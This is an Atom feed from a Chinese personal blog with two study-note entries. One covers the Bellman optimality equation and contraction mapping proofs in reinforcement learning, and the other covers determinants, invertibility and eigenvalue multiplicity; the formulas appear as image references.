<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>李三的剑谱</title>
  
  
  <link href="https://cl0und.xyz/atom.xml" rel="self"/>
  
  <link href="https://cl0und.xyz/"/>
  <updated>2025-08-17T01:17:50.108Z</updated>
  <id>https://cl0und.xyz/</id>
  
  <author>
    <name>李三（cl0und）</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>RL学习笔记-贝尔曼最优方程（BOE）</title>
    <link href="https://cl0und.xyz/2025/08/16/RL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E8%B4%9D%E5%B0%94%E6%9B%BC%E6%9C%80%E4%BC%98%E6%96%B9%E7%A8%8B%EF%BC%88BOE%EF%BC%89/"/>
    <id>https://cl0und.xyz/2025/08/16/RL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E8%B4%9D%E5%B0%94%E6%9B%BC%E6%9C%80%E4%BC%98%E6%96%B9%E7%A8%8B%EF%BC%88BOE%EF%BC%89/</id>
    <published>2025-08-16T15:31:48.000Z</published>
    <updated>2025-08-17T01:17:50.108Z</updated>
    
    <content type="html"><![CDATA[<p>学习笔记来自西湖大学的RL课程：<a href="https://github.com/MathFoundationRL/Book-Mathematical-Foundation-of-Reinforcement-Learning">https://github.com/MathFoundationRL/Book-Mathematical-Foundation-of-Reinforcement-Learning</a></p><h1 id="回顾与引入"><a href="#回顾与引入" class="headerlink" title="回顾与引入"></a>回顾与引入</h1><p><strong>贝尔曼方程</strong></p><p>贝尔曼方程描述了在给定策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg"> 下，<strong>状态价值函数</strong> <img src="c61be3673273181ba16b26af6f39eba3_1.svg"> 或 <strong>状态-行为价值函数</strong> <img src="37a437bde115ea54ed604014b75c42f9_1.svg"> 的<strong>自洽性（self-consistency）关系</strong>。</p><hr><p><strong>贝尔曼最优方程</strong></p><p>贝尔曼最优方程描述了在<strong>最优策略</strong> <img src="76085f1a30a3664f6e4046f9c0e4a501_7.svg"> 下，<strong>最优状态价值函数</strong> <img src="b1b7b255366e15ecf7e17c4fe4b562de_1.svg"> 或 <strong>最优状态-行为价值函数</strong>的<strong>自洽性关系</strong>。</p><p>这就引入了几个问题：</p><ol><li>什么叫最优？</li><li>存在性：最优策略一定存在吗？</li><li>唯一性：最优策略是唯一的吗？</li><li>随机性：最优策略是确定性的还是随机性的？</li><li>求解算法：如何计算最优状态值和最优策略？</li></ol><h1 id="最优的定义"><a href="#最优的定义" class="headerlink" title="最优的定义"></a>最优的定义</h1><p><font style="color:rgb(27, 28, 29);">当且仅当对于所有状态 s∈S 和任何其他策略 π，都满足 vπ∗(s)≥vπ(s) 时，策略 π∗ 被认为是</font><strong><font style="color:rgb(27, 28, 29);">最优策略</font></strong><font style="color:rgb(27, 28, 29);">。最优策略所对应的状态价值即为</font><strong><font style="color:rgb(27, 28, 29);">最优状态价值</font></strong><font style="color:rgb(27, 28, 29);">。</font></p><h1 id="贝尔曼最优方程（BOE）"><a href="#贝尔曼最优方程（BOE）" class="headerlink" title="贝尔曼最优方程（BOE）"></a>贝尔曼最优方程（BOE）</h1><p>对于每一个 <img src="90f62abfd48bec4df1efa99481111bb4_3.svg">，贝尔曼最优方程（BOE）的元素形式表示为：</p><p><img src="e1c0043029e0829d145ec7e0449c112a_1.svg"></p><p>其中 <img src="28132d7035792ca093148e84349dc1e5_1.svg"> 和 <img src="06165e4bce6503583179863ca202f695_1.svg"> 是待求解的未知变量，并且</p><p><img src="7c8d2801e167ee207c1480493037b301_1.svg"></p><hr><p><font style="color:rgb(27, 28, 29);">然而，要完全理解这个方程并非易事。例如，它包含了两个未知变量：</font><strong><font style="color:rgb(27, 28, 29);">状态值</font></strong><font style="color:rgb(27, 28, 29);">v(s) 和</font><strong><font style="color:rgb(27, 28, 29);">策略</font></strong><font style="color:rgb(27, 28, 29);">π(a∣s)。这可能会让初学者感到困惑，不知道如何从一个方程中求解两个未知变量。</font></p><p><font style="color:rgb(27, 28, 29);"></font></p><p>但实际上事可以解的比如，考虑两个未知变量 <img src="712ecf7894348e92d8779c3ee87eeeb0_1.svg"> 和 <img src="bf98c0ddcbe9c1e535f767c78c3aa813_1.svg">，它们满足以下方程：</p><p><img src="a064f175956bfd70947eaf16f977d9eb_1.svg"></p><h1 id="压缩映射定理"><a href="#压缩映射定理" class="headerlink" title="压缩映射定理"></a>压缩映射定理</h1><p>由于贝尔曼最优方程（BOE）可以表示为非线性方程 <img src="d0784e753b31428ac7d322a055ca8a5a_1.svg">，我们接下来介绍压缩映射定理来分析它。压缩映射定理是分析一般非线性方程的强大工具，它也被称为不动点定理。</p><p>考虑一个函数 <img src="3818937ac554603003e6727783932e9f_1.svg">，其中 <img src="64d87a6bde6eebbe7916c6f8e488cf44_1.svg"> 且 <img src="fdf8e7e269b98d8f0677a481f484372e_1.svg">。如果满足以下条件，则称点 <img src="7d9ca8f6f7d0c25f7f0f89df08b462d1_9.svg"> 为<strong>不动点</strong>：</p><p><img src="fab8da72b04e9509991de8d4ddf1162c_5.svg"></p><p>上述方程的解释是 <img src="7d9ca8f6f7d0c25f7f0f89df08b462d1_9.svg"> 的映射就是它本身。这就是为什么 <img src="7d9ca8f6f7d0c25f7f0f89df08b462d1_9.svg"> 被称为“固定”的原因。如果存在 <img src="b2f0269415e2a3e171f2c260f8aab78b_1.svg"> 使得：</p><p><img src="d86884134706170e8428e476c99bbebd_1.svg"></p><p>对于任意 <img src="f014312f508c9608d80aa2062cefce8f_1.svg">，函数 <img src="18f3c2855f0e85a1ac2257f64d917144_3.svg"> 则是一个<strong>压缩映射</strong>（或<strong>收缩函数</strong>）。<img src="ec58e6262d1d3fcc91d5a0fe800eb651_1.svg"> 表示向量或矩阵范数。</p><p>它满足如下性质</p><ul><li><strong>存在性</strong>：存在一个满足 <img src="fab8da72b04e9509991de8d4ddf1162c_5.svg"> 的不动点 <img src="7d9ca8f6f7d0c25f7f0f89df08b462d1_9.svg">。</li><li><strong>唯一性</strong>：不动点 <img src="7d9ca8f6f7d0c25f7f0f89df08b462d1_9.svg"> 是唯一的。</li><li><strong>算法</strong>：考虑迭代过程：<img src="b61fe284237cfaa8c323d2976a2f1e75_1.svg">其中 <img src="566ac0f5aa881a8169ab4c9bc9c18bbd_1.svg">。然后，对于任何初始猜测 <img src="48d05334b5b0710d63edb6b4b3ac631c_1.svg">，当 <img src="3ef227e3b78d3d91b27d9da6658acdbf_3.svg"> 时，<img src="deb6f2a55cb9e08f999431082ea5ac67_1.svg">。此外，收敛速度是指数级的快。</li></ul><h2 id="柯西序列"><a href="#柯西序列" class="headerlink" title="柯西序列"></a>柯西序列</h2><p>该证明依赖于<strong>柯西序列</strong>。如果对于任意小的 <img src="43cf35aaf9fa6e980ace0bcd0a9ad546_1.svg">，存在一个 <img src="e431b0df7920e34d43c9484ac2fa2711_1.svg"> 使得对于**<font style="color:#DF2A3F;">所有</font><strong><img src="c06e4cc11ba2f823cdacadef78106613_5.svg">，都满足 <img src="bf383b95a21b13dc6dcda8dfa02b2842_5.svg">，则称序列 <img src="45a5e6b13469d6b45de146cd727e525d_1.svg"> 为柯西序列。</strong>直观的解释是存在一个有限整数 <strong><img src="459f3c80a50b7be28751b0869ef5386a_5.svg"><strong>，使得 <strong><img src="459f3c80a50b7be28751b0869ef5386a_5.svg"></strong> 之后的所有元素彼此足够接近。柯西序列很重要，因为它保证了会收敛到一个极限。</strong>它的收敛性质将用于证明压缩映射定理。请注意，我们必须有 <img src="bf383b95a21b13dc6dcda8dfa02b2842_5.svg"> 对于</strong><font style="color:#DF2A3F;">所有</font>** <img src="c06e4cc11ba2f823cdacadef78106613_5.svg">。如果我们只是有<img src="2a0d9350ff09d3fb08005204f3c55f80_3.svg">，则不足以声称该序列是柯西序列。例如，对于 <img src="68906c1a1bb7eb07a2eec9358a97b46e_3.svg">，它满足 <img src="2a0d9350ff09d3fb08005204f3c55f80_3.svg">，但显然 <img src="68906c1a1bb7eb07a2eec9358a97b46e_3.svg"> 是发散的。</p><p>至于严谨的证明最后收敛到一个极限，这里不给证明，先接受这个结论。</p><h2 id="压缩映射的迭代收敛性"><a href="#压缩映射的迭代收敛性" class="headerlink" title="压缩映射的迭代收敛性"></a>压缩映射的迭代收敛性</h2><p><strong><font style="color:#DF2A3F;">当你对一个点反复应用一个压缩映射（即进行迭代 </font></strong><img src="b252dd3fd661412eaf9b9c415f4b1be3_1.svg"><strong><font style="color:#DF2A3F;">），所产生的序列 </font></strong><img src="110f974252d999a198028eda2ac7e480_1.svg"><strong><font style="color:#DF2A3F;"> 必定是一个柯西序列。</font></strong></p><p>首先，假设 <img src="18f3c2855f0e85a1ac2257f64d917144_3.svg"> 是一个压缩映射，我们有：</p><p><img src="caae5146d3a386a657c933f0823fb185_1.svg"></p><p>类似地，我们有 <img src="39dbccc2fc25f792acb94c48c38aab63_1.svg">，…，<img src="72c87467711c10dc49241a51736ef441_1.svg">。因此，我们有：</p><p><img src="7f0dbe2b797fa2417604494c9d8c8480_1.svg"></p><p>由于 <img src="3f78ee3a4698a5c4b931624ebfb247cc_5.svg">，我们知道当 <img src="3ef227e3b78d3d91b27d9da6658acdbf_3.svg"> 时，<img src="9c6b5e1fcc403d874f9481cc8d58b812_1.svg"> 会以<strong>指数速度收敛到零（exponentially fast convergence）</strong>，给定任意 <img src="abc4decc389283ce2367fa492960692a_1.svg">。值得注意的是，<img src="a7d3fca86378d8b350c596a746db1e2b_1.svg"> 的收敛不足以暗示 <img src="9124913a7e77767e52a6f4acbf934937_1.svg"> 的收敛。因此，对于任何 <img src="3b09d9043b29786983f13150e2c7ba63_1.svg">，我们需要进一步考虑 <img src="82b882c0f83e872da92bbef81abbb547_1.svg">。特别是：</p><p><img src="c95af02251526c22dd5a090aed0929e9_1.svg"></p><p>因此，对于任何 <img src="c57c5f0e31d8960d9406bb149fced9e0_1.svg">，我们总是可以找到 <img src="459f3c80a50b7be28751b0869ef5386a_5.svg"> 使得对于所有 <img src="c06e4cc11ba2f823cdacadef78106613_5.svg">，<img src="bf383b95a21b13dc6dcda8dfa02b2842_5.svg">。</p><p><strong>因此，这个序列是柯西序列，并因此收敛到一个极限点，</strong>记为 <img src="a10dae63915308206a709f3e6c79c96b_3.svg">。</p><h2 id="压缩映射存在性证明"><a href="#压缩映射存在性证明" class="headerlink" title="压缩映射存在性证明"></a><strong>压缩映射存在性证明</strong></h2><p>极限点为不动点的证明</p><p>我们证明极限 <img src="a10dae63915308206a709f3e6c79c96b_3.svg"> 是一个不动点。* 为此，由于</p><p><img src="cb30de180654bfb0a62b9b186830a056_1.svg"></p><p>我们知道 <img src="d34efac6bf37d73e9e097bbaeae57d13_1.svg"> 以指数速度收敛到零。因此，我们在极限处有 <img src="fab8da72b04e9509991de8d4ddf1162c_5.svg">。</p><h2 id="压缩映射唯一性证明"><a href="#压缩映射唯一性证明" class="headerlink" title="压缩映射唯一性证明"></a><strong>压缩映射</strong>唯一性证明</h2><p>假设存在另一个不动点 <img src="a9cc33aa0d01f5a6ed94d209c0278ac3_1.svg"> 满足 <img src="f8c89575e380fb3e689b292fb5756101_1.svg">。那么，</p><p><img src="b86f14f09902beba45386ba0a7fad891_1.svg"></p><p>由于 <img src="3f78ee3a4698a5c4b931624ebfb247cc_5.svg">，这个不等式成立当且仅当 <img src="134a57f4fff98cdee1c528abfd3c86a2_1.svg"><em>。因此，</em><img src="b91492ecb25a16aa09bb2e0a8253fc93_1.svg">。</p><h1 id="贝尔曼最优公式的右边是一个压缩映射"><a href="#贝尔曼最优公式的右边是一个压缩映射" class="headerlink" title="贝尔曼最优公式的右边是一个压缩映射"></a>贝尔曼最优公式的右边是一个压缩映射</h1><p>考虑任意两个向量 <img src="8e225b8d6490798d98594dc1799e5e1e_1.svg">，并假设 <img src="e8ea3ac1e0b1ac5c34491c8a229d8e90_1.svg"> 且 <img src="cc40074c2fdda93e726b83dba7add200_1.svg">。那么，</p><p><img src="52bc615893ecb7cda672f43ce24e85a0_1.svg"></p><p><img src="9c5445f49faf29332f889ba0ef5a31f7_1.svg"></p><p>其中不等式表示元素级的比较。因此，</p><p><img src="685c27652b4afe9cd52387b99e91f289_1.svg"></p><p>类似地，可以证明 <img src="7f58562a2712c51196a3e4605bd2bfb9_1.svg">。因此，</p><p><img src="bbc023d0d697b5b172c20867acb185e0_1.svg"></p><p>定义</p><p><img src="e278295c3a858e67ac6e5a0ad9879b5d_1.svg"></p><p><strong>其中 <strong><img src="7f9839bb325d17c856eba61bfceee319_1.svg"><strong>、</strong><img src="0a3d6fbae192f69351ddb2f0f6a88e9f_1.svg"></strong> 和 <strong><img src="bc97419975484e5ab4d5ae252d8b2ea9_1.svg"></strong> 都是元素级运算符。</strong>根据定义，<img src="fbd6e4189443c98403591c8c052cda19_1.svg">。一方面，很容易看出</p><p><img src="a815909f34328255f4f442ca157118d4_1.svg"></p><p>这意味着</p><p><img src="f86096ae8f69506feaeda554c4301e48_1.svg"></p><p>于是，</p><p><img src="a3f1001a1ffad25d180322c85a81b036_1.svg"></p><p>其中 <img src="fb7d1ce0b6371b50fcdbd939dd64d23b_1.svg"> 是最大范数。</p><p>另一方面，假设 <img src="8ce572b39ace46d6c7b431732ae0d59b_1.svg"> 是 <img src="02bab26178a0cd05dae15ad487830237_1.svg"> 的第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_3.svg"> 个分量，并且 <img src="2b4521f4574d4834d914998da9f24ae9_1.svg"> 和 <img src="ab55d00940ea4d4b9e21580e03fe6db4_1.svg"> 分别是 <img src="e3463327c0519175d1c378f2f52749cc_1.svg"> 和 <img src="c0f32fb8e0af9d3c9aae6dd622835318_1.svg"> 的第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_3.svg"> 行。那么，</p><p><img src="1cf5e0fe8fdf93cddf9899978ee6fa97_1.svg"></p><p>由于 <img src="39c69fbad0041c1d5caa9acf313cb0e6_1.svg"> 是一个所有元素非负且元素之和为一的向量，因此有：</p><p><img src="ce5b556b6c5f403e815e22d563f62e2c_1.svg"></p><p>类似地，我们有 <img src="f12c4d8c9ff9f225b9e7be3c97108718_1.svg">。因此，</p><p><img src="04ec9d57c4441b768324dc21ff9c9f76_1.svg"></p><p>进而有：</p><p><img src="3baea701bfbe484424486b7b03f62321_1.svg"></p><p>将此不等式代入 (3.5) 式，得到：</p><p><img src="8ae2cba22655b6586844fac7ec50e475_1.svg"></p><p>这完成了对 <img src="b53c642154d6407d4756d1305b8818ce_1.svg"> 的压缩性质的证明。</p><h1 id="v∗-和-π∗的最优性"><a href="#v∗-和-π∗的最优性" class="headerlink" title="v∗ 和 π∗的最优性"></a>v∗ 和 π∗的最优性</h1><p>解 <img src="8aff2f7cc4a4871e7ead8b2d2ef8bc31_1.svg"> 是最优状态价值，而 <img src="76085f1a30a3664f6e4046f9c0e4a501_7.svg"> 是一个最优策略。也就是说，对于任何策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg">，都满足：</p><p><img src="bc1eaa6d0a5bc45afb597bcbcc0ce024_1.svg"></p><p><strong><font style="color:#DF2A3F;">注：只要v*是最好的就证明了此时对应的π∗是最好的。（因为我们使用state value来评价一个策略的好坏）</font></strong></p><p>其中 <img src="4a9c9192cfeb75ff7fc7b6aca9e95dd7_1.svg"> 是策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg"> 的状态价值，且不等式表示元素级比较。贝尔曼最优方程（BOE）：它的解对应于最优状态价值和最优策略。下面是证明</p><p>对于任何策略 <img src="26d01865f6e830adaa66117e307e316f_7.svg">，有：</p><p><img src="cd730cb1da81e96e88f8495414f34bd8_1.svg"></p><p>由于</p><p><img src="4d50509f52c658950053d894586ff931_1.svg"></p><p>我们有：</p><p><img src="1facbe4f892a094d36abcaf1c1770ccb_1.svg"></p><p>重复应用上述不等式得到</p><p><img src="fc1bf1e5d144f8539709e53b79394730_1.svg"></p><p>因此，</p><p><img src="f2ec37dbf3a78fea6135d04a5180ae38_1.svg"></p><p>其中最后一个等式成立是因为 <img src="3f78ee3a4698a5c4b931624ebfb247cc_5.svg"> 且 <img src="6aef2210a152f41d570c9d50d8df763e_1.svg"> 是一个非负矩阵，其所有元素都小于或等于 1。</p><h1 id="贪婪最优策略-Greedy-Optimal-Policy"><a href="#贪婪最优策略-Greedy-Optimal-Policy" class="headerlink" title="贪婪最优策略 - Greedy Optimal Policy"></a>贪婪最优策略 - Greedy Optimal Policy</h1><p>对于任意 <img src="90f62abfd48bec4df1efa99481111bb4_3.svg"> (对于状态空间中的任何状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg">)，确定性贪婪策略 <img src="76085f1a30a3664f6e4046f9c0e4a501_7.svg"> 定义如下：</p><p><img src="ef274f1550c4eeb4645ee84e08b71a67_1.svg"></p><p>这意味着对于任何给定的状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg">，最优策略 <img src="76085f1a30a3664f6e4046f9c0e4a501_7.svg"> 会以概率 1 选择动作 <img src="e6eca90322d6913c877342ffc14e168b_5.svg">，而选择其他任何动作的概率为 0。</p><p>这里，<img src="e6eca90322d6913c877342ffc14e168b_5.svg"> 是通过以下方式确定的：</p><p><img src="84cac7f8453c2ca14170d9d30b5e3cef_1.svg"></p><p>这个公式表示，<img src="e6eca90322d6913c877342ffc14e168b_5.svg"> 是在当前状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg"> 下，能够最大化 <strong>最优动作-值函数 (optimal action-value function)</strong> <img src="8bf2b66c774c24c52c55d3831dce3984_1.svg"> 的动作。简单来说，就是选择在当前状态下，未来预期回报最高的那个动作。</p><p>最优动作-值函数 <img src="827eaaa6e25114d9625ed1d49f328001_5.svg"> 定义如下：</p><p><img src="20532e0cf712b8c40a67c89c76026244_1.svg"></p><p>这个公式是 <strong>贝尔曼最优方程 (Bellman Optimality Equation)</strong> 的核心部分，它解释了 <img src="827eaaa6e25114d9625ed1d49f328001_5.svg"> 的含义：</p><ul><li><img src="827eaaa6e25114d9625ed1d49f328001_5.svg">代表在状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg"> 下执行动作 <img src="26fdbf8e53cb0e48da5f4ddd4aaf5a5c_7.svg">，然后从下一个状态 <img src="3fbf90ceda0db6d4798b510fd9c7ae11_5.svg"> 开始遵循最优策略所能获得的**预期总回报 (expected total return)**。</li><li><img src="6fee109bfc5763d5cb1532da16aaa80e_1.svg">: 这一项表示在状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg"> 下执行动作 <img src="26fdbf8e53cb0e48da5f4ddd4aaf5a5c_7.svg"> 后获得的<strong>即时奖励 (immediate reward)</strong> 的期望值。<img src="0b39475ecd891ee154483dd17b9f6ff3_1.svg"> 是在状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg"> 执行动作 <img src="26fdbf8e53cb0e48da5f4ddd4aaf5a5c_7.svg"> 得到奖励 <img src="72cb3a229067770aeb6caa625a65a1a1_1.svg"> 的概率。</li><li><img src="67fdb22974c21f395b393ea3a16f3dae_1.svg">: 这一项表示在状态 <img src="79ce3c7a71877c2ff01695e38ade43ca_13.svg"> 下执行动作 <img src="26fdbf8e53cb0e48da5f4ddd4aaf5a5c_7.svg"> 后，到达下一个状态 <img src="3fbf90ceda0db6d4798b510fd9c7ae11_5.svg">，并从 <img src="3fbf90ceda0db6d4798b510fd9c7ae11_5.svg"> 开始遵循最优策略所能获得的<strong>未来奖励 (future rewards)</strong> 的期望值。</li></ul><h1 id="最优策略是唯一的吗？"><a href="#最优策略是唯一的吗？" class="headerlink" title="最优策略是唯一的吗？"></a>最优策略是唯一的吗？</h1><p>在标准的马尔可夫决策过程（MDP）中，如果最优值函数 <img src="66ccfe0d63534c30208f04b170e959e9_1.svg">_ 或最优动作-值函数 _<img src="1c47517c79b0e24b5147c26c80c57d6a_1.svg"> 存在，那么至少存在一个确定性的最优策略。这意味着你总能找到一个确定性的策略来达到最优性能。</p><p>然而，如果存在多个动作在某个状态下都能够达到相同的最大 <img src="f5fa9fdadeceb196f02dd1a1b630f44f_1.svg"> 值，那么这些动作的任何概率组合（即随机策略）也都是最优的。</p>]]></content>
    
    
    <summary type="html">bellman optimality equation</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="RL" scheme="https://cl0und.xyz/tags/RL/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-矩阵的变换，逆，特征值与秩</title>
    <link href="https://cl0und.xyz/2025/08/16/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E7%9F%A9%E9%98%B5%E7%9A%84%E5%8F%98%E6%8D%A2%EF%BC%8C%E9%80%86%EF%BC%8C%E7%89%B9%E5%BE%81%E5%80%BC%E4%B8%8E%E7%A7%A9/"/>
    <id>https://cl0und.xyz/2025/08/16/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E7%9F%A9%E9%98%B5%E7%9A%84%E5%8F%98%E6%8D%A2%EF%BC%8C%E9%80%86%EF%BC%8C%E7%89%B9%E5%BE%81%E5%80%BC%E4%B8%8E%E7%A7%A9/</id>
    <published>2025-08-16T14:07:41.000Z</published>
    <updated>2025-08-16T14:17:49.611Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0-学习导航与阅读建议"><a href="#0-学习导航与阅读建议" class="headerlink" title="0. 学习导航与阅读建议"></a>0. 学习导航与阅读建议</h1><ul><li>先把“可逆性 ↔ det(A)”这一几何直观吃透，再过渡到“特征值/特征向量 → 几何重数与代数重数”的层次；</li><li>最后用“零空间、秩与秩零定理”串联“信息丢失/维度守恒”的大图景。</li></ul><hr><h2 id="1-det-A-与可逆性的几何直观"><a href="#1-det-A-与可逆性的几何直观" class="headerlink" title="1. det(A) 与可逆性的几何直观"></a>1. det(A) 与可逆性的几何直观</h2><h3 id="问题一：为什么-det-A-0-矩阵就不可逆？"><a href="#问题一：为什么-det-A-0-矩阵就不可逆？" class="headerlink" title="问题一：为什么 det(A) = 0 矩阵就不可逆？"></a>问题一：为什么 det(A) = 0 矩阵就不可逆？</h3><p>要回答这个问题，我们需要回到三个最核心的定义：</p><ol><li>什么是“逆”？(Invertible)</li><li>什么是“矩阵”？(Matrix)</li><li>什么是“行列式”？(Determinant)</li></ol><hr><h4 id="定义回顾：从根源理解概念"><a href="#定义回顾：从根源理解概念" class="headerlink" title="定义回顾：从根源理解概念"></a>定义回顾：从根源理解概念</h4><ul><li>逆 (Inverse) 的直观理解：<br>在普通的算术中，数字 5 的倒数是 <img src="6571925d8cbbdcd887d4ef71db228eb5_1.svg"> (或者 <img src="0d1b5b773f8a7baf81f6af8d84f87ca9_1.svg">)，因为 <img src="f4e4e7f46670cac95ca26d4b7c658b1c_1.svg">。数字 1 是一个“单位”，任何数乘以 1 都保持不变。<br>在矩阵的世界里，也有一个类似的概念。一个矩阵 A 的“逆”，我们记作 <img src="7dc6d0c9a5a080ea5420c072061b9d9b_5.svg">，它也需要满足一个类似的条件：<br><img src="af56f6ff72702cfbc8cb659c1b640e50_1.svg"><br>这里的 <img src="df53f70d20a6a901dfd6da9f6986b470_1.svg"> 就是<strong>单位矩阵</strong> (Identity Matrix)，它在矩阵乘法中的作用就像数字 1。对于 2x2 矩阵，单位矩阵是：<br><img src="4ef5bd1fd70fc7cdf1feb4ea99543b11_1.svg"><br>所以，<strong>“可逆”意味着存在另一个矩阵，可以将原来的变换“撤销”，恢复到最初的状态</strong>。如果找不到这样一个“撤销”操作，那么它就是“不可逆”的 (non-invertible or singular)。</li><li>矩阵 (Matrix) 的几何意义：空间变换<br>一个矩阵最核心的几何意义是<strong>对空间进行线性变换</strong> (Linear Transformation)。当你用一个矩阵乘以一个向量（或点），你实际上是在对这个向量（或点）进行一种“操作”，比如旋转、拉伸、剪切，或者这些操作的组合。<br>例如，矩阵 <img src="e439e34e40c87f7e5bd38bfe37761971_1.svg"> 会把空间中所有的向量都拉伸为原来的两倍。矩阵 <img src="b3679673d8b21f4f92cd774be2e77d87_1.svg"> 会把所有向量逆时针旋转 90 度。</li><li>行列式 (Determinant) 的几何意义：面积/体积变化的比例<br>行列式 <code>det(A)</code> 是一个数值，它描述了矩阵 A 在进行空间变换时，<strong>一个单位面积（二维）或单位体积（三维）会缩放多少倍</strong>。<ul><li>二维情况：想象一个在原点由两个基向量（(1,0) 和 (0,1)）构成的 1x1 的正方形。经过矩阵 <img src="dbf282327e958efff10bf4ccbf08cb57_1.svg"> 变换后，这个正方形会变成一个平行四边形。这个<strong>新平行四边形的面积，就是行列式 <strong><code>det(A)</code></strong> 的绝对值</strong>。<ul><li>如果 <code>det(A) = 2</code>，意味着所有图形的面积都会扩大为原来的 2 倍。</li><li>如果 <code>det(A) = 0.5</code>，意味着所有图形的面积都会缩小为原来的一半。</li><li>如果 <code>det(A)</code> 是负数（比如 -2），表示面积扩大了 2 倍，并且空间的“朝向”被翻转了（比如像照镜子一样）。</li></ul></li></ul></li></ul><hr><h4 id="证明：为什么-det-A-0-意味着不可逆？"><a href="#证明：为什么-det-A-0-意味着不可逆？" class="headerlink" title="证明：为什么 det(A) = 0 意味着不可逆？"></a>证明：为什么 det(A) = 0 意味着不可逆？</h4><ol><li>当 <code>det(A) = 0</code> 时，发生了什么？<br>根据行列式的几何意义，<code>det(A) = 0</code> 意味着经过矩阵 A 的变换后，<strong>原来的单位面积/体积被压缩成了 0</strong>。<ul><li>在二维空间中，一个面积为 1 的正方形，被变换成了一个面积为 0 的图形。这意味着什么？这意味着它被“压扁”了。整个二维平面被压缩成了一条直线，甚至一个点。</li><li>在三维空间中，一个体积为 1 的立方体，被变换成了一个体积为 0 的图形。这意味着它被“压扁”成一个平面、一条直线，或者一个点。</li></ul></li><li>“压扁”操作为什么不可逆？<br>想象一下，你有一个三维的苹果，现在用一个巨大的压力机把它压成了一张苹果味的“纸片”（一个二维平面）。这个“压扁”操作就是我们的矩阵 A，它的 <code>det(A) = 0</code>。<br>现在我问你：<strong>你能从这张“纸片”恢复出原来那个完整的三维苹果吗？</strong>  </li></ol><p><strong>答案是不能。</strong> 因为在“压扁”的过程中，关于“厚度”维度的所有信息都丢失了。多个不同的三维物体（比如一个苹果、一个梨、一个球）都可能被压成同一个二维形状。你无法知道这个“纸片”原来是什么。<br>这就是“不可逆”的本质。<br>从数学上讲，当变换 A 将空间“压扁”时，会出现<strong>“多对一”</strong>的映射。例如，在二维空间中，整个平面被压到了一条直线上。这意味着有无数个不同的原始向量（点），经过变换后都变成了同一个向量（点）。<br>*<em><strong>而“可逆”变换必须是</strong>“一对一”</em>*的。只有这样，你才能从变换后的结果，唯一地、确定地找回变换前的原始状态。<br>既然 <code>det(A) = 0</code> 的变换是“多对一”的，它就不可能存在一个逆操作 <img src="7dc6d0c9a5a080ea5420c072061b9d9b_5.svg"> 来实现“一对多”的恢复（这在函数上是不允许的）。</p><p>结论：<br><code>det(A) = 0</code> <img src="94eac656a749d4e9739edc91b6091036_9.svg"> 矩阵 A 的变换会将空间降维（例如，平面压成直线） <img src="94eac656a749d4e9739edc91b6091036_9.svg"> 变换过程中丢失了信息，产生了多对一的映射 <img src="94eac656a749d4e9739edc91b6091036_9.svg"> 无法从结果唯一的恢复出初始状态 <img src="94eac656a749d4e9739edc91b6091036_9.svg"> 不存在逆变换 <img src="7dc6d0c9a5a080ea5420c072061b9d9b_5.svg"> <img src="94eac656a749d4e9739edc91b6091036_9.svg"> 矩阵 A 不可逆。</p><hr><h2 id="2-特征值-特征向量-→-几何重数与代数重数"><a href="#2-特征值-特征向量-→-几何重数与代数重数" class="headerlink" title="2. 特征值/特征向量 → 几何重数与代数重数"></a>2. 特征值/特征向量 → 几何重数与代数重数</h2><h3 id="问题二：矩阵的几何重数和代数重数怎么理解？"><a href="#问题二：矩阵的几何重数和代数重数怎么理解？" class="headerlink" title="问题二：矩阵的几何重数和代数重数怎么理解？"></a>问题二：矩阵的几何重数和代数重数怎么理解？</h3><p>这两个概念都与矩阵的<strong>特征值 (Eigenvalue)</strong> 和<strong>特征向量 (Eigenvector)</strong> 紧密相关。所以我们必须先从这里开始。</p><h4 id="定义回顾：特征值与特征向量"><a href="#定义回顾：特征值与特征向量" class="headerlink" title="定义回顾：特征值与特征向量"></a>定义回顾：特征值与特征向量</h4><ul><li>什么是特征向量？<br>对于一个给定的矩阵 A（也就是一个给定的空间变换），一个<strong>特征向量 (Eigenvector)</strong> <code>v</code> 是一个非常特殊的向量。当它被矩阵 A 变换后，它的<strong>方向保持不变</strong>（或恰好反向），只发生了长度上的缩放。</li><li>什么是特征值？<br>这个<strong>缩放的比例</strong>，就是与该特征向量对应的**特征值 (Eigenvalue)**，我们用 <img src="e520c061a407db472027709bf3f73290_21.svg"> 表示。</li></ul><p>用公式表达就是：<br><img src="63d8a0cf6e39bf63336dcac144bbd96c_1.svg"><br>这个公式的几何意义是：<strong>“对向量 <strong><code>v</code></strong> 进行 A 变换，其效果等同于仅仅将向量 <strong><code>v</code></strong> 的长度缩放 <strong><img src="e520c061a407db472027709bf3f73290_21.svg"></strong> 倍”</strong>。<br>这条不变的“轴线”方向，就是理解代数重数和几何重数的关键。</p><hr><h3 id="代数重数-Algebraic-Multiplicity"><a href="#代数重数-Algebraic-Multiplicity" class="headerlink" title="代数重数 (Algebraic Multiplicity)"></a>代数重数 (Algebraic Multiplicity)</h3><ul><li>定义：一个特征值 <img src="e520c061a407db472027709bf3f73290_21.svg"> 的<strong>代数重数</strong>，是指它在<strong>特征多项式</strong>中作为根的<strong>重数</strong>。</li><li>这是什么意思？<br>求解特征值的过程，是从 <img 